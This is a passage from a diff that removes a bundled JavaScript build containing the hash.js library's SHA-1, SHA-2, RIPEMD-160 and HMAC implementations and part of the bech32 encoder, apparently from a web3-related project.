(!this.pending) - this.pending = msg; - else - this.pending = this.pending.concat(msg); - this.pendingTotal += msg.length; - if (this.pending.length >= this._delta8) { - msg = this.pending; - var r22 = msg.length % this._delta8; - this.pending = msg.slice(msg.length - r22, msg.length); - if (this.pending.length === 0) - this.pending = null; - msg = utils.join32(msg, 0, msg.length - r22, this.endian); - for (var i = 0; i < msg.length; i += this._delta32) - this._update(msg, i, i + this._delta32); - } - return this; - }; - BlockHash.prototype.digest = function digest(enc) { - this.update(this._pad()); - assert22(this.pending === null); - return this._digest(enc); - }; - BlockHash.prototype._pad = function pad() { - var len = this.pendingTotal; - var bytes = this._delta8; - var k = bytes - (len + this.padLength) % bytes; - var res = new Array(k + this.padLength); - res[0] = 128; - for (var i = 1; i < k; i++) - res[i] = 0; - len <<= 3; - if (this.endian === "big") { - for (var t = 8; t < this.padLength; t++) - res[i++] = 0; - res[i++] = 0; - res[i++] = 0; - res[i++] = 0; - res[i++] = 0; - res[i++] = len >>> 24 & 255; - res[i++] = len >>> 16 & 255; - res[i++] = len >>> 8 & 255; - res[i++] = len & 255; - } else { - res[i++] = len & 255; - res[i++] = len >>> 8 & 255; - res[i++] = len >>> 16 & 255; - res[i++] = len >>> 24 & 255; - res[i++] = 0; - res[i++] = 0; - res[i++] = 0; - res[i++] = 0; - for (t = 8; t < this.padLength; t++) - res[i++] = 0; - } - return res; - }; - } - }); - var require_common2 = __commonJS2({ - "node_modules/hash.js/lib/hash/sha/common.js"(exports) { - "use strict"; - init_define_chainIDList(); - init_define_extraRpcs(); - var utils = require_utils(); - var rotr32 = utils.rotr32; - function ft_1(s, x, y, z) { - if (s === 0) - return ch32(x, y, z); - if (s === 1 || s === 3) - return p32(x, y, z); - if (s === 2) - return maj32(x, y, z); - } - exports.ft_1 = ft_1; - function ch32(x, y, z) { - return x & y ^ ~x & z; - } - exports.ch32 = ch32; - function maj32(x, y, z) { - return x & y ^ x & z ^ y & z; - } - exports.maj32 = maj32; - function p32(x, y, z) { - return x ^ y ^ z; - } - exports.p32 = p32; - function s0_256(x) { - return rotr32(x, 2) ^ rotr32(x, 13) ^ rotr32(x, 22); - } - exports.s0_256 = s0_256; - function s1_256(x) { - return rotr32(x, 6) ^ rotr32(x, 11) ^ rotr32(x, 25); - } - exports.s1_256 = s1_256; - function g0_256(x) { - return rotr32(x, 7) ^ rotr32(x, 18) ^ x >>> 3; - } - exports.g0_256 = g0_256; - function g1_256(x) { - return rotr32(x, 17) ^ rotr32(x, 19) ^ x >>> 10; - } - exports.g1_256 = g1_256; - } - }); - var require__ = __commonJS2({ - "node_modules/hash.js/lib/hash/sha/1.js"(exports, module) { - "use strict"; - init_define_chainIDList(); - init_define_extraRpcs(); - var utils = require_utils(); - var common = require_common(); - var shaCommon = require_common2(); - var rotl32 = utils.rotl32; - var sum32 = utils.sum32; - var sum32_5 = utils.sum32_5; - var ft_1 = shaCommon.ft_1; - var BlockHash = common.BlockHash; - var sha1_K = [ - 1518500249, - 1859775393, - 2400959708, - 3395469782 - ]; - function SHA1() { - if (!(this instanceof SHA1)) - return new SHA1(); - BlockHash.call(this); - this.h = [ - 1732584193, - 4023233417, - 2562383102, - 271733878, - 3285377520 - ]; - this.W = new Array(80); - } - utils.inherits(SHA1, BlockHash); - module.exports = SHA1; - SHA1.blockSize = 512; - SHA1.outSize = 160; - SHA1.hmacStrength = 80; - SHA1.padLength = 64; - SHA1.prototype._update = function _update(msg, start) { - var W = this.W; - for (var i = 0; i < 16; i++) - W[i] = msg[start + i]; - for (; i < W.length; i++) - W[i] = rotl32(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1); - var a = this.h[0]; - var b = this.h[1]; - var c = this.h[2]; - var d = this.h[3]; - var e = this.h[4]; - for (i = 0; i < W.length; i++) { - var s = ~~(i / 20); - var t = sum32_5(rotl32(a, 5), ft_1(s, b, c, d), e, W[i], sha1_K[s]); - e = d; - d = c; - c = rotl32(b, 30); - b = a; - a = t; - } - this.h[0] = sum32(this.h[0], a); - this.h[1] = sum32(this.h[1], b); - this.h[2] = sum32(this.h[2], c); - this.h[3] = sum32(this.h[3], d); - this.h[4] = sum32(this.h[4], e); - }; - SHA1.prototype._digest = function digest(enc) { - if (enc === "hex") - return utils.toHex32(this.h, "big"); - else - return utils.split32(this.h, "big"); - }; - } - }); - var require__2 = __commonJS2({ - "node_modules/hash.js/lib/hash/sha/256.js"(exports, module) { - "use strict"; - init_define_chainIDList(); - init_define_extraRpcs(); - var utils = require_utils(); - var common = require_common(); - var shaCommon = require_common2(); - var assert22 = require_minimalistic_assert(); - var sum32 = utils.sum32; - var sum32_4 = utils.sum32_4; - var sum32_5 = utils.sum32_5; - var ch32 = shaCommon.ch32; - var maj32 = shaCommon.maj32; - var s0_256 = shaCommon.s0_256; - var s1_256 = shaCommon.s1_256; - var g0_256 = shaCommon.g0_256; - var g1_256 = shaCommon.g1_256; - var BlockHash = common.BlockHash; - var sha256_K = [ - 1116352408, - 1899447441, - 3049323471, - 3921009573, - 961987163, - 1508970993, - 2453635748, - 2870763221, - 3624381080, - 310598401, - 607225278, - 1426881987, - 1925078388, - 2162078206, - 2614888103, - 3248222580, - 3835390401, - 4022224774, - 264347078, - 604807628, - 770255983, - 1249150122, - 1555081692, - 1996064986, - 2554220882, - 2821834349, - 2952996808, - 3210313671, - 3336571891, - 3584528711, - 113926993, - 338241895, - 666307205, - 773529912, - 1294757372, - 1396182291, - 1695183700, - 1986661051, - 2177026350, - 2456956037, - 2730485921, - 2820302411, - 3259730800, - 3345764771, - 3516065817, - 3600352804, - 4094571909, - 275423344, - 430227734, - 506948616, - 659060556, - 883997877, - 958139571, - 1322822218, - 1537002063, - 1747873779, - 1955562222, - 2024104815, - 2227730452, - 2361852424, - 2428436474, - 2756734187, - 3204031479, - 3329325298 - ]; - function SHA256() { - if (!(this instanceof SHA256)) - return new SHA256(); - BlockHash.call(this); - this.h = [ - 1779033703, - 3144134277, - 1013904242, - 2773480762, - 1359893119, - 2600822924, - 528734635, - 1541459225 - ]; - this.k = sha256_K; - this.W = new Array(64); - } - utils.inherits(SHA256, BlockHash); - module.exports = SHA256; - SHA256.blockSize = 512; - SHA256.outSize = 256; - SHA256.hmacStrength = 192; - SHA256.padLength = 64; - SHA256.prototype._update = function _update(msg, start) { - var W = this.W; - for (var i = 0; i < 16; i++) - W[i] = msg[start + i]; - for (; i < W.length; i++) - W[i] = sum32_4(g1_256(W[i - 2]), W[i - 7], g0_256(W[i - 15]), W[i - 16]); - var a = this.h[0]; - var b = this.h[1]; - var c = this.h[2]; - var d = this.h[3]; - var e = this.h[4]; - var f = this.h[5]; - var g = this.h[6]; - var h = this.h[7]; - assert22(this.k.length === W.length); - for (i = 0; i < W.length; i++) { - var T1 = sum32_5(h, s1_256(e), ch32(e, f, g), this.k[i], W[i]); - var T2 = sum32(s0_256(a), maj32(a, b, c)); - h = g; - g = f; - f = e; - e = sum32(d, T1); - d = c; - c = b; - b = a; - a = sum32(T1, T2); - } - this.h[0] = sum32(this.h[0], a); - this.h[1] = sum32(this.h[1], b); - this.h[2] = sum32(this.h[2], c); - this.h[3] = sum32(this.h[3], d); - this.h[4] = sum32(this.h[4], e); - this.h[5] = sum32(this.h[5], f); - this.h[6] = sum32(this.h[6], g); - this.h[7] = sum32(this.h[7], h); - }; - SHA256.prototype._digest = function digest(enc) { - if (enc === "hex") - return utils.toHex32(this.h, "big"); - else - return utils.split32(this.h, "big"); - }; - } - }); - var require__3 = __commonJS2({ - "node_modules/hash.js/lib/hash/sha/224.js"(exports, module) { - "use strict"; - init_define_chainIDList(); - init_define_extraRpcs(); - var utils = require_utils(); - var SHA256 = require__2(); - function SHA224() { - if (!(this instanceof SHA224)) - return new SHA224(); - SHA256.call(this); - this.h = [ - 3238371032, - 914150663, - 812702999, - 4144912697, - 4290775857, - 1750603025, - 1694076839, - 3204075428 - ]; - } - utils.inherits(SHA224, SHA256); - module.exports = SHA224; - SHA224.blockSize = 512; - SHA224.outSize = 224; - SHA224.hmacStrength = 192; - SHA224.padLength = 64; - SHA224.prototype._digest = function digest(enc) { - if (enc === "hex") - return utils.toHex32(this.h.slice(0, 7), "big"); - else - return utils.split32(this.h.slice(0, 7), "big"); - }; - } - }); - var require__4 = __commonJS2({ - "node_modules/hash.js/lib/hash/sha/512.js"(exports, module) { - "use strict"; - init_define_chainIDList(); - init_define_extraRpcs(); - var utils = require_utils(); - var common = require_common(); - var assert22 = require_minimalistic_assert(); - var rotr64_hi = utils.rotr64_hi; - var rotr64_lo = utils.rotr64_lo; - var shr64_hi = utils.shr64_hi; - var shr64_lo = utils.shr64_lo; - var sum64 = utils.sum64; - var sum64_hi = utils.sum64_hi; - var sum64_lo = utils.sum64_lo; - var sum64_4_hi = utils.sum64_4_hi; - var sum64_4_lo = utils.sum64_4_lo; - var sum64_5_hi = utils.sum64_5_hi; - var sum64_5_lo = utils.sum64_5_lo; - var BlockHash = common.BlockHash; - var sha512_K = [ - 1116352408, - 3609767458, - 1899447441, - 602891725, - 3049323471, - 3964484399, - 3921009573, - 2173295548, - 961987163, - 4081628472, - 1508970993, - 3053834265, - 2453635748, - 2937671579, - 2870763221, - 3664609560, - 3624381080, - 2734883394, - 310598401, - 1164996542, - 607225278, - 1323610764, - 1426881987, - 3590304994, - 1925078388, - 4068182383, - 2162078206, - 991336113, - 2614888103, - 633803317, - 3248222580, - 3479774868, - 3835390401, - 2666613458, - 4022224774, - 944711139, - 264347078, - 2341262773, - 604807628, - 2007800933, - 770255983, - 1495990901, - 1249150122, - 1856431235, - 1555081692, - 3175218132, - 1996064986, - 2198950837, - 2554220882, - 3999719339, - 2821834349, - 766784016, - 2952996808, - 2566594879, - 3210313671, - 3203337956, - 3336571891, - 1034457026, - 3584528711, - 2466948901, - 113926993, - 3758326383, - 338241895, - 168717936, - 666307205, - 1188179964, - 773529912, - 1546045734, - 1294757372, - 1522805485, - 1396182291, - 2643833823, - 1695183700, - 2343527390, - 1986661051, - 1014477480, - 2177026350, - 1206759142, - 2456956037, - 344077627, - 2730485921, - 1290863460, - 2820302411, - 3158454273, - 3259730800, - 3505952657, - 3345764771, - 106217008, - 3516065817, - 3606008344, - 3600352804, - 1432725776, - 4094571909, - 1467031594, - 275423344, - 851169720, - 430227734, - 3100823752, - 506948616, - 1363258195, - 659060556, - 3750685593, - 883997877, - 3785050280, - 958139571, - 3318307427, - 1322822218, - 3812723403, - 1537002063, - 2003034995, - 1747873779, - 3602036899, - 1955562222, - 1575990012, - 2024104815, - 1125592928, - 2227730452, - 2716904306, - 2361852424, - 442776044, - 2428436474, - 593698344, - 2756734187, - 3733110249, - 3204031479, - 2999351573, - 3329325298, - 3815920427, - 3391569614, - 3928383900, - 3515267271, - 566280711, - 3940187606, - 3454069534, - 4118630271, - 4000239992, - 116418474, - 1914138554, - 174292421, - 2731055270, - 289380356, - 3203993006, - 460393269, - 320620315, - 685471733, - 587496836, - 852142971, - 1086792851, - 1017036298, - 365543100, - 1126000580, - 2618297676, - 1288033470, - 3409855158, - 1501505948, - 4234509866, - 1607167915, - 987167468, - 1816402316, - 1246189591 - ]; - function SHA512() { - if (!(this instanceof SHA512)) - return new SHA512(); - BlockHash.call(this); - this.h = [ - 1779033703, - 4089235720, - 3144134277, - 2227873595, - 1013904242, - 4271175723, - 2773480762, - 1595750129, - 1359893119, - 2917565137, - 2600822924, - 725511199, - 528734635, - 4215389547, - 1541459225, - 327033209 - ]; - this.k = sha512_K; - this.W = new Array(160); - } - utils.inherits(SHA512, BlockHash); - module.exports = SHA512; - SHA512.blockSize = 1024; - SHA512.outSize = 512; - SHA512.hmacStrength = 192; - SHA512.padLength = 128; - SHA512.prototype._prepareBlock = function _prepareBlock(msg, start) { - var W = this.W; - for (var i = 0; i < 32; i++) - W[i] = msg[start + i]; - for (; i < W.length; i += 2) { - var c0_hi = g1_512_hi(W[i - 4], W[i - 3]); - var c0_lo = g1_512_lo(W[i - 4], W[i - 3]); - var c1_hi = W[i - 14]; - var c1_lo = W[i - 13]; - var c2_hi = g0_512_hi(W[i - 30], W[i - 29]); - var c2_lo = g0_512_lo(W[i - 30], W[i - 29]); - var c3_hi = W[i - 32]; - var c3_lo = W[i - 31]; - W[i] = sum64_4_hi( - c0_hi, - c0_lo, - c1_hi, - c1_lo, - c2_hi, - c2_lo, - c3_hi, - c3_lo - ); - W[i + 1] = sum64_4_lo( - c0_hi, - c0_lo, - c1_hi, - c1_lo, - c2_hi, - c2_lo, - c3_hi, - c3_lo - ); - } - }; - SHA512.prototype._update = function _update(msg, start) { - this._prepareBlock(msg, start); - var W = this.W; - var ah = this.h[0]; - var al = this.h[1]; - var bh = this.h[2]; - var bl = this.h[3]; - var ch = this.h[4]; - var cl = this.h[5]; - var dh = this.h[6]; - var dl = this.h[7]; - var eh = this.h[8]; - var el = this.h[9]; - var fh = this.h[10]; - var fl = this.h[11]; - var gh = this.h[12]; - var gl = this.h[13]; - var hh = this.h[14]; - var hl = this.h[15]; - assert22(this.k.length === W.length); - for (var i = 0; i < W.length; i += 2) { - var c0_hi = hh; - var c0_lo = hl; - var c1_hi = s1_512_hi(eh, el); - var c1_lo = s1_512_lo(eh, el); - var c2_hi = ch64_hi(eh, el, fh, fl, gh, gl); - var c2_lo = ch64_lo(eh, el, fh, fl, gh, gl); - var c3_hi = this.k[i]; - var c3_lo = this.k[i + 1]; - var c4_hi = W[i]; - var c4_lo = W[i + 1]; - var T1_hi = sum64_5_hi( - c0_hi, - c0_lo, - c1_hi, - c1_lo, - c2_hi, - c2_lo, - c3_hi, - c3_lo, - c4_hi, - c4_lo - ); - var T1_lo = sum64_5_lo( - c0_hi, - c0_lo, - c1_hi, - c1_lo, - c2_hi, - c2_lo, - c3_hi, - c3_lo, - c4_hi, - c4_lo - ); - c0_hi = s0_512_hi(ah, al); - c0_lo = s0_512_lo(ah, al); - c1_hi = maj64_hi(ah, al, bh, bl, ch, cl); - c1_lo = maj64_lo(ah, al, bh, bl, ch, cl); - var T2_hi = sum64_hi(c0_hi, c0_lo, c1_hi, c1_lo); - var T2_lo = sum64_lo(c0_hi, c0_lo, c1_hi, c1_lo); - hh = gh; - hl = gl; - gh = fh; - gl = fl; - fh = eh; - fl = el; - eh = sum64_hi(dh, dl, T1_hi, T1_lo); - el = sum64_lo(dl, dl, T1_hi, T1_lo); - dh = ch; - dl = cl; - ch = bh; - cl = bl; - bh = ah; - bl = al; - ah = sum64_hi(T1_hi, T1_lo, T2_hi, T2_lo); - al = sum64_lo(T1_hi, T1_lo, T2_hi, T2_lo); - } - sum64(this.h, 0, ah, al); - sum64(this.h, 2, bh, bl); - sum64(this.h, 4, ch, cl); - sum64(this.h, 6, dh, dl); - sum64(this.h, 8, eh, el); - sum64(this.h, 10, fh, fl); - sum64(this.h, 12, gh, gl); - sum64(this.h, 14, hh, hl); - }; - SHA512.prototype._digest = function digest(enc) { - if (enc === "hex") - return utils.toHex32(this.h, "big"); - else - return utils.split32(this.h, "big"); - }; - function ch64_hi(xh, xl, yh, yl, zh) { - var r22 = xh & yh ^ ~xh & zh; - if (r22 < 0) - r22 += 4294967296; - return r22; - } - function ch64_lo(xh, xl, yh, yl, zh, zl) { - var r22 = xl & yl ^ ~xl & zl; - if (r22 < 0) - r22 += 4294967296; - return r22; - } - function maj64_hi(xh, xl, yh, yl, zh) { - var r22 = xh & yh ^ xh & zh ^ yh & zh; - if (r22 < 0) - r22 += 4294967296; - return r22; - } - function maj64_lo(xh, xl, yh, yl, zh, zl) { - var r22 = xl & yl ^ xl & zl ^ yl & zl; - if (r22 < 0) - r22 += 4294967296; - return r22; - } - function s0_512_hi(xh, xl) { - var c0_hi = rotr64_hi(xh, xl, 28); - var c1_hi = rotr64_hi(xl, xh, 2); - var c2_hi = rotr64_hi(xl, xh, 7); - var r22 = c0_hi ^ c1_hi ^ c2_hi; - if (r22 < 0) - r22 += 4294967296; - return r22; - } - function s0_512_lo(xh, xl) { - var c0_lo = rotr64_lo(xh, xl, 28); - var c1_lo = rotr64_lo(xl, xh, 2); - var c2_lo = rotr64_lo(xl, xh, 7); - var r22 = c0_lo ^ c1_lo ^ c2_lo; - if (r22 < 0) - r22 += 4294967296; - return r22; - } - function s1_512_hi(xh, xl) { - var c0_hi = rotr64_hi(xh, xl, 14); - var c1_hi = rotr64_hi(xh, xl, 18); - var c2_hi = rotr64_hi(xl, xh, 9); - var r22 = c0_hi ^ c1_hi ^ c2_hi; - if (r22 < 0) - r22 += 4294967296; - return r22; - } - function s1_512_lo(xh, xl) { - var c0_lo = rotr64_lo(xh, xl, 14); - var c1_lo = rotr64_lo(xh, xl, 18); - var c2_lo = rotr64_lo(xl, xh, 9); - var r22 = c0_lo ^ c1_lo ^ c2_lo; - if (r22 < 0) - r22 += 4294967296; - return r22; - } - function g0_512_hi(xh, xl) { - var c0_hi = rotr64_hi(xh, xl, 1); - var c1_hi = rotr64_hi(xh, xl, 8); - var c2_hi = shr64_hi(xh, xl, 7); - var r22 = c0_hi ^ c1_hi ^ c2_hi; - if (r22 < 0) - r22 += 4294967296; - return r22; - } - function g0_512_lo(xh, xl) { - var c0_lo = rotr64_lo(xh, xl, 1); - var c1_lo = rotr64_lo(xh, xl, 8); - var c2_lo = shr64_lo(xh, xl, 7); - var r22 = c0_lo ^ c1_lo ^ c2_lo; - if (r22 < 0) - r22 += 4294967296; - return r22; - } - function g1_512_hi(xh, xl) { - var c0_hi = rotr64_hi(xh, xl, 19); - var c1_hi = rotr64_hi(xl, xh, 29); - var c2_hi = shr64_hi(xh, xl, 6); - var r22 = c0_hi ^ c1_hi ^ c2_hi; - if (r22 < 0) - r22 += 4294967296; - return r22; - } - function g1_512_lo(xh, xl) { - var c0_lo = rotr64_lo(xh, xl, 19); - var c1_lo = rotr64_lo(xl, xh, 29); - var c2_lo = shr64_lo(xh, xl, 6); - var r22 = c0_lo ^ c1_lo ^ c2_lo; - if (r22 < 0) - r22 += 4294967296; - return r22; - } - } - }); - var require__5 = __commonJS2({ - "node_modules/hash.js/lib/hash/sha/384.js"(exports, module) { - "use strict"; - init_define_chainIDList(); - init_define_extraRpcs(); - var utils = require_utils(); - var SHA512 = require__4(); - function SHA384() { - if (!(this instanceof SHA384)) - return new SHA384(); - SHA512.call(this); - this.h = [ - 3418070365, - 3238371032, - 1654270250, - 914150663, - 2438529370, - 812702999, - 355462360, - 4144912697, - 1731405415, - 4290775857, - 2394180231, - 1750603025, - 3675008525, - 1694076839, - 1203062813, - 3204075428 - ]; - } - utils.inherits(SHA384, SHA512); - module.exports = SHA384; - SHA384.blockSize = 1024; - SHA384.outSize = 384; - SHA384.hmacStrength = 192; - SHA384.padLength = 128; - SHA384.prototype._digest = function digest(enc) { - if (enc === "hex") - return utils.toHex32(this.h.slice(0, 12), "big"); - else - return utils.split32(this.h.slice(0, 12), "big"); - }; - } - }); - var require_sha = __commonJS2({ - "node_modules/hash.js/lib/hash/sha.js"(exports) { - "use strict"; - init_define_chainIDList(); - init_define_extraRpcs(); - exports.sha1 = require__(); - exports.sha224 = require__3(); - exports.sha256 = require__2(); - exports.sha384 = require__5(); - exports.sha512 = require__4(); - } - }); - var require_ripemd = __commonJS2({ - "node_modules/hash.js/lib/hash/ripemd.js"(exports) { - "use strict"; - init_define_chainIDList(); - init_define_extraRpcs(); - var utils = require_utils(); - var common = require_common(); - var rotl32 = utils.rotl32; - var sum32 = utils.sum32; - var sum32_3 = utils.sum32_3; - var sum32_4 = utils.sum32_4; - var BlockHash = common.BlockHash; - function RIPEMD160() { - if (!(this instanceof RIPEMD160)) - return new RIPEMD160(); - BlockHash.call(this); - this.h = [1732584193, 4023233417, 2562383102, 271733878, 3285377520]; - this.endian = "little"; - } - utils.inherits(RIPEMD160, BlockHash); - exports.ripemd160 = RIPEMD160; - RIPEMD160.blockSize = 512; - RIPEMD160.outSize = 160; - RIPEMD160.hmacStrength = 192; - RIPEMD160.padLength = 64; - RIPEMD160.prototype._update = function update22(msg, start) { - var A = this.h[0]; - var B = this.h[1]; - var C = this.h[2]; - var D = this.h[3]; - var E = this.h[4]; - var Ah = A; - var Bh = B; - var Ch = C; - var Dh = D; - var Eh = E; - for (var j = 0; j < 80; j++) { - var T = sum32( - rotl32( - sum32_4(A, f(j, B, C, D), msg[r22[j] + start], K(j)), - s[j] - ), - E - ); - A = E; - E = D; - D = rotl32(C, 10); - C = B; - B = T; - T = sum32( - rotl32( - sum32_4(Ah, f(79 - j, Bh, Ch, Dh), msg[rh[j] + start], Kh(j)), - sh[j] - ), - Eh - ); - Ah = Eh; - Eh = Dh; - Dh = rotl32(Ch, 10); - Ch = Bh; - Bh = T; - } - T = sum32_3(this.h[1], C, Dh); - this.h[1] = sum32_3(this.h[2], D, Eh); - this.h[2] = sum32_3(this.h[3], E, Ah); - this.h[3] = sum32_3(this.h[4], A, Bh); - this.h[4] = sum32_3(this.h[0], B, Ch); - this.h[0] = T; - }; - RIPEMD160.prototype._digest = function digest(enc) { - if (enc === "hex") - return utils.toHex32(this.h, "little"); - else - return utils.split32(this.h, "little"); - }; - function f(j, x, y, z) { - if (j <= 15) - return x ^ y ^ z; - else if (j <= 31) - return x & y | ~x & z; - else if (j <= 47) - return (x | ~y) ^ z; - else if (j <= 63) - return x & z | y & ~z; - else - return x ^ (y | ~z); - } - function K(j) { - if (j <= 15) - return 0; - else if (j <= 31) - return 1518500249; - else if (j <= 47) - return 1859775393; - else if (j <= 63) - return 2400959708; - else - return 2840853838; - } - function Kh(j) { - if (j <= 15) - return 1352829926; - else if (j <= 31) - return 1548603684; - else if (j <= 47) - return 1836072691; - else if (j <= 63) - return 2053994217; - else - return 0; - } - var r22 = [ - 0, - 1, - 2, - 3, - 4, - 5, - 6, - 7, - 8, - 9, - 10, - 11, - 12, - 13, - 14, - 15, - 7, - 4, - 13, - 1, - 10, - 6, - 15, - 3, - 12, - 0, - 9, - 5, - 2, - 14, - 11, - 8, - 3, - 10, - 14, - 4, - 9, - 15, - 8, - 1, - 2, - 7, - 0, - 6, - 13, - 11, - 5, - 12, - 1, - 9, - 11, - 10, - 0, - 8, - 12, - 4, - 13, - 3, - 7, - 15, - 14, - 5, - 6, - 2, - 4, - 0, - 5, - 9, - 7, - 12, - 2, - 10, - 14, - 1, - 3, - 8, - 11, - 6, - 15, - 13 - ]; - var rh = [ - 5, - 14, - 7, - 0, - 9, - 2, - 11, - 4, - 13, - 6, - 15, - 8, - 1, - 10, - 3, - 12, - 6, - 11, - 3, - 7, - 0, - 13, - 5, - 10, - 14, - 15, - 8, - 12, - 4, - 9, - 1, - 2, - 15, - 5, - 1, - 3, - 7, - 14, - 6, - 9, - 11, - 8, - 12, - 2, - 10, - 0, - 4, - 13, - 8, - 6, - 4, - 1, - 3, - 11, - 15, - 0, - 5, - 12, - 2, - 13, - 9, - 7, - 10, - 14, - 12, - 15, - 10, - 4, - 1, - 5, - 8, - 7, - 6, - 2, - 13, - 14, - 0, - 3, - 9, - 11 - ]; - var s = [ - 11, - 14, - 15, - 12, - 5, - 8, - 7, - 9, - 11, - 13, - 14, - 15, - 6, - 7, - 9, - 8, - 7, - 6, - 8, - 13, - 11, - 9, - 7, - 15, - 7, - 12, - 15, - 9, - 11, - 7, - 13, - 12, - 11, - 13, - 6, - 7, - 14, - 9, - 13, - 15, - 14, - 8, - 13, - 6, - 5, - 12, - 7, - 5, - 11, - 12, - 14, - 15, - 14, - 15, - 9, - 8, - 9, - 14, - 5, - 6, - 8, - 6, - 5, - 12, - 9, - 15, - 5, - 11, - 6, - 8, - 13, - 12, - 5, - 12, - 13, - 14, - 11, - 8, - 5, - 6 - ]; - var sh = [ - 8, - 9, - 9, - 11, - 13, - 15, - 15, - 5, - 7, - 7, - 8, - 11, - 14, - 14, - 12, - 6, - 9, - 13, - 15, - 7, - 12, - 8, - 9, - 11, - 7, - 7, - 12, - 7, - 6, - 15, - 13, - 11, - 9, - 7, - 15, - 11, - 8, - 6, - 6, - 14, - 12, - 13, - 5, - 14, - 13, - 13, - 7, - 5, - 15, - 5, - 8, - 11, - 14, - 14, - 6, - 14, - 6, - 9, - 12, - 9, - 12, - 5, - 15, - 8, - 8, - 5, - 12, - 9, - 12, - 5, - 14, - 6, - 8, - 13, - 6, - 5, - 15, - 13, - 11, - 11 - ]; - } - }); - var require_hmac = __commonJS2({ - "node_modules/hash.js/lib/hash/hmac.js"(exports, module) { - "use strict"; - init_define_chainIDList(); - init_define_extraRpcs(); - var utils = require_utils(); - var assert22 = require_minimalistic_assert(); - function Hmac(hash3, key22, enc) { - if (!(this instanceof Hmac)) - return new Hmac(hash3, key22, enc); - this.Hash = hash3; - this.blockSize = hash3.blockSize / 8; - this.outSize = hash3.outSize / 8; - this.inner = null; - this.outer = null; - this._init(utils.toArray(key22, enc)); - } - module.exports = Hmac; - Hmac.prototype._init = function init22(key22) { - if (key22.length > this.blockSize) - key22 = new this.Hash().update(key22).digest(); - assert22(key22.length <= this.blockSize); - for (var i = key22.length; i < this.blockSize; i++) - key22.push(0); - for (i = 0; i < key22.length; i++) - key22[i] ^= 54; - this.inner = new this.Hash().update(key22); - for (i = 0; i < key22.length; i++) - key22[i] ^= 106; - this.outer = new this.Hash().update(key22); - }; - Hmac.prototype.update = function update22(msg, enc) { - this.inner.update(msg, enc); - return this; - }; - Hmac.prototype.digest = function digest(enc) { - this.outer.update(this.inner.digest()); - return this.outer.digest(enc); - }; - } - }); - var require_hash = __commonJS2({ - "node_modules/hash.js/lib/hash.js"(exports) { - "use strict"; - init_define_chainIDList(); - init_define_extraRpcs(); - var hash3 = exports; - hash3.utils = require_utils(); - hash3.common = require_common(); - hash3.sha = require_sha(); - hash3.ripemd = require_ripemd(); - hash3.hmac = require_hmac(); - hash3.sha1 = hash3.sha.sha1; - hash3.sha256 = hash3.sha.sha256; - hash3.sha224 = hash3.sha.sha224; - hash3.sha384 = hash3.sha.sha384; - hash3.sha512 = hash3.sha.sha512; - hash3.ripemd160 = hash3.ripemd.ripemd160; - } - }); - var require_bech32 = __commonJS2({ - "node_modules/bech32/index.js"(exports, module) { - "use strict"; - init_define_chainIDList(); - init_define_extraRpcs(); - var ALPHABET2 = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"; - var ALPHABET_MAP = {}; - for (z = 0; z < ALPHABET2.length; z++) { - x = ALPHABET2.charAt(z); - if (ALPHABET_MAP[x] !== void 0) - throw new TypeError(x + " is ambiguous"); - ALPHABET_MAP[x] = z; - } - var x; - var z; - function polymodStep(pre) { - var b = pre >> 25; - return (pre & 33554431) << 5 ^ -(b >> 0 & 1) & 996825010 ^ -(b >> 1 & 1) & 642813549 ^ -(b >> 2 & 1) & 513874426 ^ -(b >> 3 & 1) & 1027748829 ^ -(b >> 4 & 1) & 705979059; - } - function prefixChk(prefix) { - var chk = 1; - for (var i = 0; i < prefix.length; ++i) { - var c = prefix.charCodeAt(i); - if (c < 33 || c > 126) - return "Invalid prefix (" + prefix + ")"; - chk = polymodStep(chk) ^ c >> 5; - } - chk = polymodStep(chk); - for (i = 0; i < prefix.length; ++i) { - var v = prefix.charCodeAt(i); - chk = polymodStep(chk) ^ v & 31; - } - return chk; - } - function encode62(prefix, words2, LIMIT) { - LIMIT = LIMIT || 90; - if (prefix.length + 7 + words2.length > LIMIT) - throw new TypeError("Exceeds length limit"); - prefix = prefix.toLowerCase(); - var chk = prefixChk(prefix); - if (typeof chk === "string") - throw new Error(chk); - var result = prefix + "1"; - for (var i = 0; i < words2.length; ++i) { - var x2 = words2[i]; - if (x2 >> 5 !== 0) - throw new Error("Non 5-bit word"); - chk = polymodStep(chk) ^ x2; - result += ALPHABET2.charAt(x2); - } - for (i = 0; i < 6; ++i) { - chk = polymodStep(chk); - } - chk ^= 1; - for (i = 0; i < 6; ++i) { - var v = chk >> (5 - i) * 5 & 31; - result += ALPHABET2.charAt(v); - } - return result; - } - function __decode(str, LIMIT) { - LIMIT = LIMIT || 90; - if (str.length < 8) - return str + " too short"; - if (str.length > LIMIT) - return "Exceeds length limit"; - var lowered = str.toLowerCase(); - var uppered = str.toUpperCase(); - if (str !== lowered && str !== uppered) - return "Mixed-case string " + str; - str = lowered; - var split = str.lastIndexOf("1"); - if (split === -1) - return "No separator character for " + str; - if (split === 0) - return "Missing prefix for " + str; - var prefix = str.slice(0, split); - var wordChars = str.slice(split + 1); - if (wordChars.length < 6) - return "Data too short"; - var chk = prefixChk(prefix); - if (typeof chk === "string") - return chk; - var words2 = []; - for (var i = 0; i < wordChars.length; ++i) { - var c = wordChars.charAt(i); - var v = ALPHABET_MAP[c]; - if (v === void 0) - return "Unknown character " + c; - chk = polymodStep(chk) ^ v; - if (i + 6 >= wordChars.length) - continue; - words2.push(v); - } - if (chk !== 1) - return "Invalid checksum for " + str; - return { prefix, words: words2 }; - } - function decodeUnsafe() { - var res = __decode.apply(null, arguments); - if (typeof res === "object") - return res; - } - function decode32(str) { - var res = __decode.apply(null, arguments); - if (typeof res === "object") - return res; - throw new Error(res); - } - function convert(data, inBits, outBits, pad) { - var value = 0; - var bits = 0; - var maxV = (1 << outBits) - 1; - var result = []; - for (var i = 0; i < data.length; ++i) { - value = value << inBits | data[i]; - bits += inBits; - while (bits >= outBits) { - bits -= outBits; - result.push(value >> bits & maxV); - } - } - if (pad) { - if (bits > 0) { - result.push(value << outBits - bits & maxV); - } - } else { - if (bits >= inBits) - return "Excess padding"; - if (value << outBits - bits & maxV) - return "Non-zero padding"; - } - return result; - } - function toWordsUnsafe(bytes) { - var res = convert(bytes, 8, 5, true); - if (Array.isArray(res)) - return res; - } - function toWords(bytes) { - var res = convert(bytes, 8, 5, true); - if (Array.isArray(res)) - return res; - throw new Error(res); - } - function fromWordsUnsafe(words2) { - var res = convert(words2, 5, 8, false); 